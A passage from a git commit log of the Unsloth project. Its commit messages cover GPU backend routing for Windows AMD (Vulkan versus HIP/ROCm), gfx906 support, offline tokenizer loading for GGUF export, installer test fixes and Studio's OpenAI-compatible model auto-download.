upstream win-hip-radeon GPU_TARGETS set (e.g. gfx803 / RX 480). Mixed setups
where at least one card is HIP-supported still default to HIP unless opted in.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(install): address Codex P2s on Vulkan gfx routing (#7357)

Honor ROCm family tokens (gfx110X), include fork-supported gfx1103, require
a known active gfx before auto-Vulkan, and base the HIP floor check on the
visible-device target instead of every physical GPU in hipinfo.

* Address Codex review: env namespace, physical-NVIDIA guard, test kwarg

- llama_backend_from_env: stop reading UNSLOTH_LLAMA_CPP_BACKEND. That is a
  separate pre-existing setup variable meaning auto/cpu; setup.sh/setup.ps1
  warn and ignore other values, so reading it here forced Vulkan behind that
  warning. Vulkan opt-in stays on UNSLOTH_LLAMA_BACKEND / UNSLOTH_FORCE_VULKAN.
- _should_auto_vulkan_for_amd_windows: gate on not has_physical_nvidia (not
  merely has_usable_nvidia). A CUDA-masked NVIDIA card keeps has_physical_nvidia
  while has_usable_nvidia goes False; Vulkan ignores CUDA_VISIBLE_DEVICES and
  could enumerate the reserved card. Mirrors the Intel auto path. Explicit
  opt-in still overrides.
- test fakes: validate_prebuilt_attempts/validate_prebuilt_choice gained a
  llama_backend kwarg; the four fake signatures in the fallback tests now
  accept it, clearing the TypeError that reddened Backend CI / Repo tests (CPU).

Tests: UNSLOTH_LLAMA_CPP_BACKEND=vulkan no longer triggers Vulkan; hidden
physical NVIDIA suppresses AMD auto-Vulkan while explicit opt-in overrides.

* Keep gfx1034 on the ROCm path (fork gfx103X bundle covers it)

The WINDOWS_HIP_PREBUILT_GFX_TARGETS allow-list omitted gfx1034, so
_route_to_vulkan_prebuilt downgraded RX 6500/6400-class hosts to the upstream
Vulkan prebuilt before published_rocm_choice_for_host could match the fork
windows-rocm gfx103X bundle (whose members include gfx1034). Add gfx1034 to the
allow-list and a regression test asserting it stays on the fork ROCm asset.

* Fix auto-Vulkan stealing fork windows-rocm gfx908/gfx90a hosts for PR #7373

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix Vulkan marker claiming a backend that was never installed for PR #7373

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten the Vulkan backend routing comments for PR #7373

* Keep the visible-device-aware gfx when setup forwards --rocm-gfx

setup.ps1 resolves the gfx arch from its own probe, and that pick is not
fully visible-device aware: neither the hipinfo nor the amd-smi branch
reads CUDA_VISIBLE_DEVICES, and the amd-smi branch matches a bare integer
only, so a comma-separated HIP/ROCR mask such as 1,0 also falls back to
GPU 0. The resulting arch was then forwarded through --rocm-gfx and
replaced the arch detect_host() had already resolved for the
runtime-visible GPU.

On a mixed-AMD Windows host that flipped the auto-Vulkan decision: with
GPU 0 gfx1100 and a masked-in gfx1010, the forward reinstated gfx1100,
_should_auto_vulkan_for_amd_windows() saw a HIP-supported arch and the
HIP bundle was installed for a GPU that cannot run it.

Fold the forward in as a fill rather than a replacement: it still supplies
the arch on amd-smi-only, driver-only and name-inferred hosts where the
probe reports none, which is what --rocm-gfx exists for, but no longer
overwrites a successfully detected active arch. An explicit
UNSLOTH_ROCM_GFX_ARCH stays authoritative, since it is the documented
manual override for hosts whose arch the probes get wrong.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope the Windows AMD Vulkan fallback per device and per repo

Three follow-ups on the auto-Vulkan routing for #7357.

Keep an explicit --rocm-gfx authoritative. The previous round stopped a
forwarded gfx from replacing an arch detect_host() had already resolved,
but --rocm-gfx is also the documented operator override for hosts whose
probe is wrong or stale, and both arrive as the same argv. Narrow the
advisory case to the two shapes setup can actually be describing: an arch
the probe saw on this host (setup picked a different physical GPU of the
same box), or a family label such as gfx110X, which is a bundle name the
update path derives from the marker asset rather than a real GPU arch.
Any other value is an override for an arch no probe reported and stays
authoritative. Keeping family labels advisory also preserves the rule that
an in-generation-but-unbuilt arch (gfx1033) is never upgraded into the
gfx103X bundle.

Do not auto-route to Vulkan from a HIP-only device mask. HIP_VISIBLE_DEVICES,
ROCR_VISIBLE_DEVICES and CUDA_VISIBLE_DEVICES select the active arch, but the
Vulkan runtime honours none of them: it enumerates through
GGML_VK_VISIBLE_DEVICES and Vulkan ordinals in
LlamaCppBackend._get_gpu_free_memory_vulkan. Masking down to a below-floor
card therefore used to install a backend that could still enumerate the
HIP-capable card the user deliberately hid, possibly one reserved for another
workload. Require every physical AMD gfx to be below the floor, matching the
has_physical_nvidia gate right above it. So the per-GPU list survives to that
check, a forward that agrees with the probe no longer collapses
rocm_gfx_targets to a single entry.

Make the HIP support predicate repository-specific. The floor constant is a
union of ggml-org's windows-hip gpu_targets and the fork's windows-rocm
bundles, so it only answers "is this arch served" for the fork. With
--published-repo ggml-org/llama.cpp, direct_upstream_release_plan() offers
win-hip-radeon then CPU and never Vulkan, so the four fork-only archs
(gfx908, gfx90a, gfx1034, gfx1103) were declared supported and fell through
to CPU instead of the Vulkan bundle that would actually run. Add
UPSTREAM_WINDOWS_HIP_GFX_TARGETS and select the set from the planned repo.

* Keep probe-confirmed AMD GPUs in the physical list when a gfx is forwarded

rocm_gfx_targets is the physical inventory _should_auto_vulkan_for_amd_windows()
reads, so a forwarded --rocm-gfx that the probe never reported was deleting cards
the probe had confirmed. On a mixed Windows AMD box whose active device is masked
down to a below-floor card, a stale UNSLOTH_ROCM_GFX_ARCH or a name-inferred arch
for the other GPU collapsed the list to that one arch, the floor check concluded no
AMD GPU on the host reaches the Windows HIP prebuilt, and the install auto-fell back
to Vulkan, which honours no HIP mask and would enumerate the reserved HIP-capable
card. Add the forwarded arch to the list instead of replacing it: it selects the HIP
target, it does not redefine what hardware is present.

An empty probe still yields a single-entry list, so the driver-only Windows AMD host
the forward exists for keeps its automatic Vulkan fallback, and an explicit
--llama-backend vulkan is unaffected.

* Do not auto-fall back to Vulkan when a HIP device mask filtered the probe

hipinfo is itself a HIP application, and AMD documents HIP_VISIBLE_DEVICES as
"only devices whose index is present in the sequence are visible to HIP", with
that spelling recommended on Windows. Under a mask the Windows probe therefore
enumerates the visible devices, so rocm_gfx_targets is what survived the mask
rather than the physical inventory the auto-Vulkan floor check assumes. A
masked-out gfx1100 next to a visible gfx803 made the check conclude that no AMD
GPU on the box reaches the Windows HIP prebuilt and route the install to Vulkan,
which honours none of these masks and would enumerate the reserved card.

Decline to guess when a mask is set: the physical inventory is unknowable from a
masked probe, so keep the HIP / fork / source path. This only ever turns the
automatic fallback off, never on. The driver-only single-GPU host the fallback
exists for sets no mask, an all-hiding "" / -1 mask is still handled as no active
target rather than a partial view, and an explicit --llama-backend vulkan or
UNSLOTH_LLAMA_BACKEND=vulkan is unaffected.

Reading the physical inventory through an unmasked re-probe would also correct
_pick_rocm_gfx_target, which indexes the token list by the mask value and so
already assumes an unmasked probe. That is pre-existing behaviour on main and is
left alone here.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Treat an all-hiding HIP device mask as suppressing the Vulkan fallback too

The mask guard exempted an empty or -1 value on the grounds that the probe reports
no active target under it, but that only holds for the probe: a forwarded
--rocm-gfx still reconstructs an active arch, and setup infers that arch from the
display-adapter name, which no HIP mask touches. A user who hid every AMD GPU from
HIP could therefore still be auto-routed to Vulkan, which honours none of these
masks and would then use all of them. That is the strongest form of the hazard the
guard exists for, not an exemption from it.

Presence of any of the three variables is now the whole test, which also removes
the value parsing. An explicit --llama-backend vulkan or UNSLOTH_LLAMA_BACKEND is
still unaffected.

* Grant the fork-only Windows HIP coverage to the fork, not to every mirror

The floor set is a union of the fork's windows-rocm bundles and only the fork is
planned from its manifest: resolve_simple_install_release_plans() compares
== DEFAULT_PUBLISHED_REPO and sends every other --published-repo through
direct_upstream_release_plan(), whose AMD branch offers win-hip-radeon then CPU
and never Vulkan. Exempting only the exact ggml-org spelling therefore told a
mirror carrying upstream-standard assets that fork-only archs such as gfx1034,
gfx1103 and gfx908 were HIP-served, landing them on HIP or CPU instead of the
Vulkan bundle that would actually run. Gate on the fork instead.

Matching the dispatch exactly, spelling included, also fixes a differently cased
repo: that really does take the upstream path, so it must be answered with
upstream coverage rather than the fork superset. An empty repo still defaults to
the fork, as the resolver does.

* Derive the Windows HIP gfx floor guard from the published manifest

The guard compared WINDOWS_HIP_PREBUILT_GFX_TARGETS against a second hardcoded
tuple in the same test file, so a windows-rocm arch newly published by the fork
passed both. Affected hosts would then be routed off the hash-approved fork ROCm
bundle onto an unhashed upstream Vulkan build with nothing failing.

Read the fork's llama-prebuilt-manifest.json through the installer's own
resolver instead, and assert the floor, the family labels, and the routing
tuple all still cover what it publishes. The manifest ships only as a release
asset, so an unreachable release skips with an explicit reason rather than
flaking. Both literals match the manifest as published today.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Compress the Vulkan backend routing comments and docstrings for PR #7373

* Correct the family-label rationale in the Windows HIP coverage check

The comment justified serving gfx103X / gfx110X against any repository by
claiming upstream's windows-hip targets build every member of those families.
The fork manifest maps gfx103X to gfx1030..1032 plus gfx1034 and gfx110X to
gfx1100..1102 plus gfx1103, and UPSTREAM_WINDOWS_HIP_GFX_TARGETS carries
neither gfx1034 nor gfx1103, so the stated reason is wrong even though the
answer is right.

State the real reason instead. A family label is a bundle name, not an arch,
so the concrete GPU is unknown at this point; answering unsupported to cover
the two uncovered members would move gfx1030..1032 and gfx1100..1102 off a
working HIP build onto Vulkan for a card the label cannot identify. Those two
archs still reach Vulkan through the concrete-arch branch below, which does
answer per repository.

Comment only. No behaviour change: the 5850-combination override sweep still
reports 0 rocm_gfx_target changes, 0 auto_vulkan False to True flips and 680
True to False flips all backed by a probe-confirmed HIP GPU, and both the
feature and override profile matrices are byte-identical.

* Pin that a deliberate CPU install outranks Vulkan for PR #7373

UNSLOTH_LLAMA_CPP_BACKEND (setup.sh / setup.ps1, "auto" or "cpu") and
UNSLOTH_LLAMA_BACKEND (this module, a backend name) are separate variables at
separate layers, and both accept "cpu". setup translates its own =cpu into
--force-cpu, which is what pins the CPU-only bundle on a GPU host and keeps
Intel iGPU Vulkan crashes away (#7213), so no trigger this PR adds may
outrank it.

_route_to_vulkan_prebuilt already gets this right, since force_cpu
short-circuits ahead of the forced, auto-Intel and auto-no-HIP triggers.
Cover it so it stays that way: the matrix runs [Linux, Windows, macOS] x
[NVIDIA, AMD, Intel, CPU only] x [unset, vulkan, hip, rocm, cpu] with the
legacy UNSLOTH_FORCE_VULKAN set as well, and asserts the published bundle
survives every one. WSL presents as Linux to this resolver, so it rides the
Linux row.

Also assert the guard is not vacuous: the same host still takes Vulkan once
the CPU pin is gone, so the matrix cannot pass on a resolver that had simply
stopped routing to Vulkan.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-27 06:57:19 -07:00
Daniel Han
4b3809a2f4
tests: stop the installer constraint test counting occurrences (#7503)
test_torch_constraint.sh asserted how many times each pin appears in install.sh.
Every hardware branch assigns its own torch/torchvision/torchaudio triple, so
#7354 adding gfx906 pushed three of those counts up by one and Backend CI has
been red on main since:

  FAIL: default TORCH_CONSTRAINT assignment exists (expected '1', got '2')
  FAIL: hardcoded torch>=2.4 appears exactly once (expected '1', got '2')
  FAIL: torchvision bounded (<0.26) at default + custom-leaf (expected '2', got '3')
  FAIL: torchaudio bounded (<2.11) at default + custom-leaf (expected '2', got '3')

install.sh is correct; the numbers were the stale part. Assert the invariants
instead, so the next hardware branch is not a test edit:

- the default assignment is the top-level one, so anchor the grep at column 0
  rather than counting every occurrence. An indented branch pin no longer
  satisfies it, which the old count did not distinguish either.
- what "appears exactly once" really guarded is that no pip install line spells
  a pin out instead of using "$TORCH_CONSTRAINT", so check that directly.
- companions must be bounded everywhere, so compare bounded assignments against
  total assignments rather than pinning a count of 2. That is strictly stronger:
  it now covers all 7, not the 2 the old numbers happened to name.

45 pass, 0 fail. Each new assertion fails when its property is broken: a bare or
unbounded companion, a hardcoded pin on an install line, or a missing top-level
default.
2026-07-27 06:42:20 -07:00
Daniel Han
7081522b45
gitignore: match the stray "~" TMPDIR dir at any depth, plus /temp/ (#7499)
The `/~/` rule was root-anchored, so it only caught a stray "~" directory
created at the repo root. Tools run from a subdirectory create it there
instead, and studio/frontend/~/ once reached a PR as 708 tracked files (a
Node compile cache plus cwd markers). Unanchor it.

Also ignore /temp/, the repo-root scratch dir
tests/studio/test_chat_preset_builtin_invariants.py writes into. Nothing
under either path has ever been tracked on main.
2026-07-27 06:04:08 -07:00
Souravrajvi0
8b9ee5facb
avoid Hub metadata probe when loading tokenizers with local_files_only (#7482)
* fix: keep offline GGUF export off the Hub for VLM tokenizers (#7481)

Resolve cached snapshot directories before loading PreTrainedTokenizerFast
during VLM processor fallback so transformers does not call is_base_mistral()
-> model_info() when HF_HUB_OFFLINE is set. Also probe the local cache in
_has_tokenizer_model instead of model_info when offline.

Fixes unslothai/unsloth#7481

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* test: add real-cache offline GGUF integration checks for #7481

Download unsloth/gemma-3-270m-it-bnb-4bit (~430MB) and verify offline
snapshot resolution and tokenizer load with network blocked. Full unsloth
import tests remain GPU-gated.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: address Codex review on offline GGUF tokenizer paths (#7481)

- Only rewrite Hub repo ids to cached snapshot dirs when offline
- Copy tokenizer.model from cache offline in preserve_sentencepiece
- Do not cache negative offline tokenizer.model probe results
- Add regression tests for all three review items

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: probe HF cache before model_info for local-only GGUF saves (#7481)

Always resolve tokenizer.model from the local Hub cache before calling
model_info, and skip Hub metadata when the tokenizer was loaded with
local_files_only or offline env vars. Fixes Codex review on PR #7482.

* Fix lint blocker, false-green tests and offline defaults for PR #7482

Drop the two unused _env_says_offline imports that fail the Source lint
import-hoist check.

test_has_tokenizer_model_offline_skips_model_info and its local_files_only
twin set model_info.side_effect = AssertionError, but _has_tokenizer_model
wraps that call in "except Exception: return False", so the AssertionError
was swallowed and both passed on the merge base with the fix absent. Assert
model_info.call_count == 0 instead; both now fail on the base with
assert 1 == 0.

The real-cache integration tests called hf_hub_download and
PreTrainedTokenizerFast directly, so they exercised plain huggingface_hub and
passed identically on both trees. Route them through the resolver this PR
adds, and gate the file at module level since importing unsloth needs a GPU
host either way.

_resolve_hub_repo_local_dir and _resolve_hub_repo_cached_file defaulted to
local_files_only = False, so a helper named "resolve local dir" would
download with backoff retries when called without the flag. Every caller
already passes it explicitly, so default it closed.

Use tempfile.gettempdir() rather than a hardcoded /tmp, which silently
skipped both files on Windows, the platform in the bug report. Patch
socket.socket connect rather than replacing the class, which broke
isinstance checks.

Wire the unit tests into the Bucket-A CI list; Repo tests (CPU) ignores
tests/saving, so none of these ran anywhere.

* docs: note transformers 4.57.2-5.5.4 window for local tokenizer resolve

Name the version range where from_pretrained still probes model_info under
local_files_only, and point at the 5.6.0 upstream fix so the helper can be
removed once the supported floor moves past it.

* fix: enable real-cache suite in offline GGUF integration runner

Pass UNSLOTH_INTEGRATION_IMPORT=1 into the pytest subprocess so the
documented runner actually executes the real-cache tests instead of
reporting success after only the fake-cache unit file runs.

* docs: note integration runner enables UNSLOTH_INTEGRATION_IMPORT

Document that the runner sets the gate itself and still needs a host
that can import unsloth.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep an explicit local_files_only load local-only at save time

transformers takes local_files_only as an explicit from_pretrained parameter,
so it never lands in tokenizer.init_kwargs, and _offline_aware_load restores
HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE as soon as the load window closes. A VLM
loaded with local_files_only = True but no offline env var therefore came back
with the Hub repo id in name_or_path and nothing recording the request, so
_tokenizer_wants_local_only returned False on the later save and
_has_tokenizer_model fell through to HfApi.model_info - and then
_preserve_sentencepiece_tokenizer_assets fetched tokenizer.model from the Hub
with local_files_only = False. On a disconnected host that is a network wait
before the export gives up.

Stamp the load's local-only mode onto the returned processor and its tokenizer
inside the forced-offline window, and honour that stamp in
_tokenizer_wants_local_only, so the save path inherits the load's contract.

Verified against a real hub-cache layout whose snapshot has tokenizer metadata
but no tokenizer.model: before, one model_info call plus an hf_hub_download with
local_files_only = False; after, zero model_info calls and cache probes only.

Two tests added to tests/saving/test_offline_gguf_vlm_tokenizer_7481.py; both
fail with the loader_utils hunk reverted and pass with it in place.

* Carry the load's cache_dir through to saving for PR #7482

The local-only stamp added in e7b7400de preserved only the boolean. Saving
still derived its cache from HF_HUB_CACHE or HF_HOME, which does not see a
caller-supplied cache_dir, and FastBaseModel.from_pretrained threads one all
the way down. So a local_files_only load against a custom cache missed on the
probe, and the stamp then stopped the Hub fallback that used to cover it, and
tokenizer.model was silently left out of the GGUF staging directory.

Stamp the cache_dir alongside the local-only marker and prefer it at both
sites in save.py that derive one from the environment. Reverting save.py
alone, with the helper still present, fails the new test on behaviour.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Merge main and drop an unused import for PR #7482

Brings the branch up to date with main, which clears the stale Source lint
blocker inherited from #7476 by taking studio/backend/utils/hardware/__init__.py
out of this PR's changed-file set.

pytest was imported in the new test file and never used, which the
import-hoist check flags in its own right.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-27 05:59:48 -07:00
Daniel Han
06829c2627
Studio: tighten the comments added by the OpenAI model-admission work (#7501)
Comment-only follow-up to #7454. That change carried 523 comment lines, many of
them three and four line preambles where one line says the same thing. This
collapses them and drops the ones restating what the code already says, for a
net 77 lines.

Scope is limited to comments #7454 itself introduced. The files it touched hold
about 3,761 comments in total; the rest predate it and are untouched, verified
by checking that every removed line is one that commit added.

Nothing that records why a non-obvious decision was made was dropped, only
compressed. Still stated: the normcase-before-versus-after Windows separator
trap, the innermost-indexed-model rule for nested directories, an HTTPException
being a decision rather than a failure to decide, that only an explicit False is
anonymous to huggingface_hub while None borrows the server owner's login, the
fail-closed tri-state custom-code gate, and the regressions each test was
written for.

Code is provably unchanged: comment_tools.py check reports 17/17 files
comments-only. Backend CI command 10337 passed, 0 failed. tsc -b clean.
2026-07-27 05:59:03 -07:00
oobabooga
0b34377778
Studio: Expose GPU memory mode in unsloth run and unsloth start (#7421)
* Add CLI GPU memory mode selection

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Preserve manual GPU layer overrides

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
2026-07-27 05:54:50 -07:00
Wasim Yousef Said
8e40ea1f1c
Rotate desktop updater signing key (#7500) 2026-07-27 14:34:55 +02:00
Leo Borcherding
f03e669442
AMD: enable ROCm torch on gfx906 (MI50 / Radeon VII) on Linux (#7354)
* Add community-maintained legacy support path for gfx906 (MI50 / Radeon VII)

rocm6.4+/7.x torch wheels bundle ROCm libraries whose Tensile kernels
dropped gfx906 (rocBLAS 'TensileLibrary.dat ... not read for gfx906',
ROCm/TheRock#1844), so on MI50/Vega 20 hosts with newer ROCm the
installer picked wheels that fail at the first BLAS call. The rocm6.3
index is the last one whose wheels run on gfx906 (torch 2.7.0 verified
on MI50 32GB, up to 2.9 in community use). Dynamo/Inductor codegen is
also broken on this arch, crashing compiled graphs that train fine in
eager mode.

- install.sh: when the runtime GPU is gfx906 and the picked index is
  newer than rocm6.3, reroute torch to the rocm6.3 index and reset the
  constraint trio to the default <2.11 window (a rocm7.2 pick raises
  the floor to 2.11, which rocm6.3 cannot satisfy), with a legacy-path
  warning.
- install_python_stack.py: mirror the reroute in _ensure_rocm_torch
  using the _default pkg specs, including repairing an existing
  +rocm7.x torch and leaving a working rocm6.3 install alone.
- device_type.py: default TORCHDYNAMO_DISABLE / TORCH_COMPILE_DISABLE /
  UNSLOTH_COMPILE_DISABLE on gfx906 (setdefault, user override wins).

Windows allowlists are untouched: repo.amd.com publishes no gfx906
wheel family (verified in the RDNA2 enablement PR). 16-bit LoRA and
full finetuning work out of the box; 4-bit QLoRA needs a source-built
bitsandbytes for gfx906. Based on the verified MI50 32GB setup in
namnguyen0503/mi50-gfx906-unsloth-bnb4bit-lab.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gfx906: second Codex pass (bnb skip under pin, override beats Strix)

- Compute the gfx906 runtime-target flag independently of any torch-index
  pin or Strix override, so the bitsandbytes skip still applies when a user
  pins the ROCm index and sets UNSLOTH_ROCM_GFX_ARCH=gfx906 (the pin
  suppresses the torch reroute, not the bnb skip). Probe only when no pin
  is set (an explicit pin means don't second-guess it, matching the Strix
  path's asserted no-probe invariant); an explicit gfx906 override needs
  no probe.
- Let UNSLOTH_ROCM_GFX_ARCH=gfx906 suppress the Strix reroute (both
  install.sh and install_python_stack.py) so a mixed Strix + MI50 host
  routes to rocm6.3 instead of the gfx1151 wheels probe order would pick.
- Fix test_hardcoded_torch_constraint: the default <2.11 window literal now
  legitimately appears on two TORCH_CONSTRAINT= assignments (default + the
  gfx906 reroute reset after the rocm7.2 floor bump); assert it only ever
  appears on assignment lines, never on a pip install line (its real intent).

New tests: bnb skipped under an explicit pin, gfx906 override wins over
Strix, install.sh suppresses Strix on the override. rocm_support +
selection + cross-platform parity: 667 passed; structural constraint 9/9.

* gfx906: collapse single-line asserts to match pre-commit formatting

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gfx906: keep bnb skip + rocm6.3 routing correct under pins and suffixed overrides

Address the four Codex P2 findings on #7354:

- bnb skip under a pinned index (install.sh + install_python_stack.py):
  a real gfx906 host that pins UNSLOTH_TORCH_INDEX_URL to rocm6.3 without also
  setting UNSLOTH_ROCM_GFX_ARCH no longer reinstalls the generic bitsandbytes
  wheel over a source-built gfx906 bnb. A pin now suppresses only the torch
  reroute, not the gfx906 detection used for the bnb skip (Python drops the pin
  gate on _runtime_is_gfx906; bash _is_gfx906_bnb_skip probes via
  _probe_amd_gfx_arch when the index is pinned).

- clear the Radeon marketing-name flag for every gfx906 target, not only when
  the >=6.4 reroute fires, so a Radeon VII already on rocm6.3 does not divert to
  the repo.radeon.com branch (whose wheels lack gfx906 kernels).

- normalize a copied HIP gcnArchName (gfx906:sramecc-:xnack- -> gfx906) before
  the exact comparisons in install.sh and install_python_stack.py, mirroring
  device_type.py.

Tests: relax the three Strix-pin tests (the gfx probe may now run for the bnb
flag but must not reroute the pinned index) and add coverage for the pinned
bnb skip, the suffixed override, and the bash Radeon-clear / pinned-probe paths.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* gfx906: log skipped vLLM aimv2 fix + robust source-scan test bounds

Follow-up review polish:
- import_fixes: log at info level when the vLLM aimv2 fix is skipped because
  the dist metadata is unreadable, so the skip is diagnosable instead of silent.
- test_rocm_support: bound the gfx906 install.sh source-scan on the ';;' that
  closes its case arm via a shared _gfx906_reroute_block helper, replacing the
  brittle fixed-length (3200/3800) slices that shift when the block grows.

* gfx906: trim whitespace on UNSLOTH_ROCM_GFX_ARCH in install.sh (py parity)

The bash gfx906 comparisons lowercased and stripped the gfx906:… feature
suffix but not surrounding whitespace, while the Python paths do .strip().
A stray newline (e.g. export UNSLOTH_ROCM_GFX_ARCH=$(cmd)) would make bash
miss gfx906 while Python catches it. Trim with `tr -d '[:space:]'` at both
comparison sites so the reroute target and bnb-skip agree across bash/Python.

* gfx906: remove generic bitsandbytes pulled in transitively after the skip

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-27 05:22:19 -07:00
Daniel Han
74295d93d8
Vulkan GPUs: real device names and selectable ordinals (rebase of #7356 onto #7476) (#7498)
* Vulkan GPUs: real device names and selectable ordinals

Rebases the durable half of #7356 onto the inference_gpu transport #7476
landed on main. Those two PRs solve an overlapping problem and disagree on
the data model, so merging #7356 as-is would ship two parallel Vulkan
device concepts with different index semantics. This keeps main's transport
and adds what #7356 had that #7476 does not.

- _vulkan_probe.py emits a 5th column, ggml's device description, sanitized
  for the tab protocol and UTF-8 safe. Reader tolerates 4- or 5-column
  output so an older probe still parses.
- llama_cpp gains _run_vulkan_probe (shared parse) and
  vulkan_device_inventory (names + is_igpu + real totals).
- get_vulkan_inference_gpu_info reports the real name and an explicit
  is_igpu instead of "Vulkan<i>" and a total == 0 guess.
- index_kind becomes "vulkan", not "relative", and gpu_ids picks are
  supported on Vulkan builds once the probe enumerated ordinals. The XPU ban
  no longer applies to them: a Vulkan pick is a ggml ordinal, not a torch-xpu
  index, so it works on an Intel host too.
- Frontend picker reads the Vulkan inventory as the pickable set.

Memory deliberately still comes from _get_gpu_memory, not the inventory.
That path applies _apply_igpu_host_reserve_mib and zeroes a shared total;
budgeting an APU off its raw shared total would hand out the whole machine's
RAM with no OS headroom. Identity is joined onto it by ordinal, so a probe
failure degrades to Vulkan<i> names with the memory readings intact.

Dropped from #7356 as superseded: validate_vulkan_gpu_ids (main's
resolve_requested_gpu_ids already rejects duplicates and
_resolve_gguf_gpu_ids_for_request already probes for existence), the
gguf_devices transport, and the iGPU budget fallback in 71619891e, which
main's aggregateGpuMemoryTotalGb handles better by counting a shared pool
once.

Also keeps #7356's removal of the late diffusion raise, so the graceful
gpu_ids drop stays reachable for a GGUF only classified as diffusion after
download. #7415's real guard, _reject_vulkan_diffusion_gpu_ids_before_
teardown, is untouched.

Verified on Windows + Strix Halo: backend Vulkan/GPU-selection suites at the
same 4 pre-existing failures as main, tests/studio 1671 passed with no new
failures, frontend typecheck clean. Hardware confirmation of the underlying
behavior is on #7356 from @Bebiv24 (RX 9070 XT + RX 480).

Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-27 05:21:48 -07:00
Daniel Han
da447d47ba
Studio: fix the "No model loaded" error, and optionally auto-download a model named in an API request (#7454)
* Studio: say which model is missing instead of "No model loaded"

A /v1 request naming a model that is not downloaded returned the generic
"No model loaded. Call POST /inference/load first.", which cannot fix it.
Return 404 model_not_found naming the model and listing what can serve,
and make the API usage examples name a model the server actually has.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: page the API monitor, show model load/unload, pin the example quant

The monitor rendered all 50 retained entries in one scroller: page it 5 at a
time, freezing history while paged back so live traffic cannot reorder it.
Add model load/unload rows so the feed shows what the server is doing, and
stop the header rendering the loaded model as a raw host path. Advertise each
model's GGUF quant on /v1/models so the example pins repo:QUANT, and move the
auto-switch section above the monitor with shorter copy.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: optionally download a model named in an OpenAI API request

Auto-switch only ever loaded models already on disk, so naming one this
server does not have either 404s or, when something else is loaded, gets
quietly answered by the resident model.

Add openai_api_auto_download_model (off by default, gated on auto-switch).
When on, a /v1 request naming a GGUF repo that is not downloaded starts a
background fetch and returns 503 with Retry-After and a typed
model_downloading code. The resident model keeps serving in the meantime,
and the retry after the download completes is served by the new model
through the existing auto-switch path.

The download reuses the Hub manager's service layer, which already does
repo-id validation, casing, claim bookkeeping, disk preflight, resume and
cancel. The in-loader download is deliberately not used: it silently falls
back to a smaller quant under low disk, which is wrong when the caller
named an exact one.

Admission is narrow, since a request only needs an API key:

- namespace/name only, so gpt-4 and other foreign ids fall through to the
  resident model exactly as before
- GGUF only, decided from the remote file list rather than the repo name
- anything declaring auto_map is refused, so trust_remote_code stays a
  deliberate opt-in in the UI and can never be granted over the API
- a single download at a time, plus a free-disk reserve
- one model_info call answers existence, gating and the quant list, so a
  missing repo, a gated repo and a wrong quant each get their own error

With the setting off every one of these paths is byte-identical to before.

Also:

- monitor rows for downloads, with a live percentage
- public_model_id resolves an HF cache snapshot to its repo id, so a
  cache-loaded model is no longer labelled with a commit sha; this drops
  the duplicate helper added for the monitor and fixes the same leak in
  the inference status response
- the unedited sk-unsloth-YOUR_KEY from the copyable examples now says so
  instead of "Invalid or expired API key"; every other bad key keeps the
  generic message

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: add an Unload button to the API monitor

The monitor names the loaded model but offered no way to free it. Idle
auto-unload is the only existing release path, and it needs a TTL and a
wait.

The button sits next to Refresh, appears only while a model is loaded and
is disabled mid-unload. /unload matches on the internal identifier, which
this response deliberately omits because it would be a host path, so the
click reads it from /api/inference/status the same way the chat runtime
does rather than widening the monitor payload.

Also stamp the manual unload row with the quant, read before the teardown
clears it, so it reads repo:QUANT like the load row it pairs with.

* Studio: keep the API monitor Unload button visible when idle

It only rendered while a model was loaded, which hid the one manual
release path at exactly the moment someone goes looking for it. Render it
always, disabled with a "No model is loaded" tooltip when there is nothing
to free.

* Studio: never answer a named model with a different one

Asking for a model this server is not serving returned 200 from whatever
